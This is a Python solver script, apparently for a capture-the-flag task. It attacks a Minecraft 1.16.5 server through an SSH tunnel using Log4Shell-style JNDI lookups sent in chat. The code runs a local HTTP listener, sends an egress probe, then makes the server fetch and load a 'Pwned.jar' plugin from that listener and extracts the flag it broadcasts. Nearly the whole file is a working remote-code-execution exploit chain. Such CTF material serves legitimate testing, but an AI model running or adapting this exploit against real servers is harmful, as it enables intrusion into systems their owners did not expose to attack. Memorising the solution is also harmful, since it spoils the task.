#!/usr/bin/env python3 """Minimal task checker + solver: SSH tunnel, JNDI egress, flag extraction. Usage: python solve.py [--my-ip LAN_IP] Steps: 1. SSH direct-tcpip to the container's Minecraft port 2. Login as an offline 1.16.5 player 3. Start a local HTTP listener (probe + payload JAR) 4. Send ${jndi:http://:/check} in chat — egress probe 5. Send ${jndi:http://:/pwned.jar} — real payload 6. Extract flag from chat broadcast """ import io import os import re import socket import struct import sys import threading import time import zipfile try: import paramiko except ImportError: print("FAIL: pip install paramiko"); sys.exit(1) PROTO = 754 # 1.16.5 FLAG_MARK = "caplag{" FLAG_RE = re.compile(r"caplag\{[^{}\r\n]+\}") def varint(v): out = b"" while True: b = v & 0x7F; v >>= 7 if v: out += bytes([b | 0x80]) else: return out + bytes([b]) def dec_varint(d, p=0): v = 0; s = 0 while True: b = d[p]; p += 1 v |= (b & 0x7F) << s if not b & 0x80: return v, p s += 7 def load_payload(): jar = os.path.join(os.path.dirname(os.path.abspath(__file__)), "payload", "Pwned.jar") if not os.path.isfile(jar): return None suffix = str(int(time.time()))[-6:] src = zipfile.ZipFile(jar) buf = io.BytesIO() with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as out: for item in src.infolist(): data = src.read(item.filename) if item.filename == "plugin.yml": data = data.decode().replace( "name: Pwned", "name: Pwned" + suffix).encode() out.writestr(item, data) src.close() return buf.getvalue() class MC: def __init__(self, sock, nick): self.s = sock; self.th = -1; self.chat = []; self.lock = threading.Lock() self.wlock = threading.Lock() def send(self, pid, body=b""): p = varint(pid) + body f = varint(0) + p if self.th >= 0 else p with self.wlock: self.s.sendall(varint(len(f)) + f) def recv_pkt(self): ln = 0; sh = 0 while True: b = self._b(1)[0] ln |= (b & 0x7F) << sh if not b & 0x80: break sh += 7 raw = self._b(ln) if self.th >= 0: dl = 0; sh = 0; p = 0 while True: b = raw[p]; p += 1 dl |= (b & 0x7F) << sh if not b & 0x80: break sh += 7 body = raw[p:] if dl: body = __import__("zlib").decompress(body) else: body = raw return body[0], body[1:] def _b(self, n): d = b"" while len(d) < n: c = self.s.recv(n - len(d)) if not c: raise ConnectionError("closed") d += c return d def login(self, nick): h = b"127.0.0.1" hs = varint(0) + varint(PROTO) + varint(len(h)) + h + struct.pack(">H", 25565) + varint(2) self.s.sendall(varint(len(hs)) + hs) self.send(0, varint(len(nick)) + nick.encode()) for _ in range(10): pid, pl = self.recv_pkt() if pid == 3: self.th = dec_varint(pl)[0] elif pid == 2: threading.Thread(target=self._rd, daemon=True).start() return True return False def _rd(self): import json while True: try: pid, pl = self.recv_pkt() except Exception: return if pid == 0x0E: try: jl, off = dec_varint(pl) obj = json.loads(pl[off:off + jl].decode("utf-8", "replace")) txt = [] def w(n): if isinstance(n, dict): if "text" in n: txt.append(str(n["text"])) for k in ("extra", "with"): for i in n.get(k, []) or []: w(i) elif isinstance(n, str): txt.append(n) w(obj) line = "".join(txt) if line: with self.lock: self.chat.append(line) except Exception: pass elif pid == 0x21 and len(pl) == 8: v = int.from_bytes(pl, "big") if 0 < v < (1 << 40): self.send(0x10, pl) def say(self, t): self.send(3, varint(len(t)) + t.encode()) def wait(self, m, to=20, since=0, pattern=None): dl = time.time() + to while time.time() < dl: with self.lock: for l in self.chat[since:]: if m in l and (pattern is None or pattern.search(l)): return l time.sleep(0.2) return None def main(): if len(sys.argv) < 5: print(__doc__); sys.exit(1) host, port, user, pw = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4] my_ip = "127.0.0.1" if "--my-ip" in sys.argv: my_ip = sys.argv[sys.argv.index("--my-ip") + 1] else: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("8.8.8.8", 80)); my_ip = s.getsockname()[0] except Exception: pass finally: s.close() payload_jar = load_payload() print(f"[*] target {host}:{port} as {user}") print(f"[*] my IP: {my_ip}") if not payload_jar: print("FAIL: payload/Pwned.jar is missing") sys.exit(1) print("[*] payload: OK") # 1. SSH tunnel print("[1] SSH tunnel...", end=" ", flush=True) try: cli = paramiko.SSHClient() cli.set_missing_host_key_policy(paramiko.AutoAddPolicy()) cli.connect(host, port=port, username=user, password=pw, look_for_keys=False, allow_agent=False, timeout=8) chan = cli.get_transport().open_channel( "direct-tcpip", ("127.0.0.1", 25565), ("127.0.0.1", 0)) print("OK") except Exception as e: print(f"FAIL ({e})"); sys.exit(1) # 2. HTTP listener (probe + payload) hit = [] from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer class H(BaseHTTPRequestHandler): def do_GET(self): hit.append(self.path) body = b"x" if self.path == "/pwned.jar" and payload_jar: body = payload_jar self.send_response(200) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *a): pass httpd = ThreadingHTTPServer(("0.0.0.0", 0), H) http_port = httpd.server_address[1] threading.Thread(target=httpd.serve_forever, daemon=True).start() print(f"[2] HTTP listener on :{http_port}") # 3. MC login print("[3] Minecraft login...", end=" ", flush=True) mc = MC(chan, "Checker") if not mc.login("Checker"): print("FAIL"); sys.exit(1) print("OK") time.sleep(3) with mc.lock: base = len(mc.chat) # 4. Egress probe probe_url = f"http://{my_ip}:{http_port}/check" print(f"[4] Egress probe: {probe_url}", flush=True) mc.say(f"${{jndi:{probe_url}}}") probe_ok = False dl = time.time() + 15 while time.time() < dl: if any("/check" in h for h in hit): probe_ok = True print("[4] PASS: egress confirmed (server fetched /check)") break r = mc.wait("Could not load plugin", to=1, since=base) if r: probe_ok = True print("[4] PASS: chat oracle responded") break time.sleep(0.5) if not probe_ok: print("[4] FAIL: no egress, no oracle") sys.exit(1) time.sleep(1) with mc.lock: base2 = len(mc.chat) # 5. Flag extraction jar_url = f"http://{my_ip}:{http_port}/pwned.jar" print(f"[5] Sending payload: {jar_url}", flush=True) mc.say(f"${{jndi:{jar_url}}}") line = mc.wait(FLAG_MARK, to=25, since=base2, pattern=FLAG_RE) if line is None: line = mc.wait("[PWN]", to=2, since=base2) match = FLAG_RE.search(line) if line else None if match: print(f"[5] FLAG: {line}") print(f"\n {match.group(0)}\n") sys.exit(0) if line: print(f"[5] FAIL: plugin returned no complete flag: {line}") sys.exit(1) print("[5] FAIL: no flag in chat within 25s") sys.exit(1) if __name__ == "__main__": main()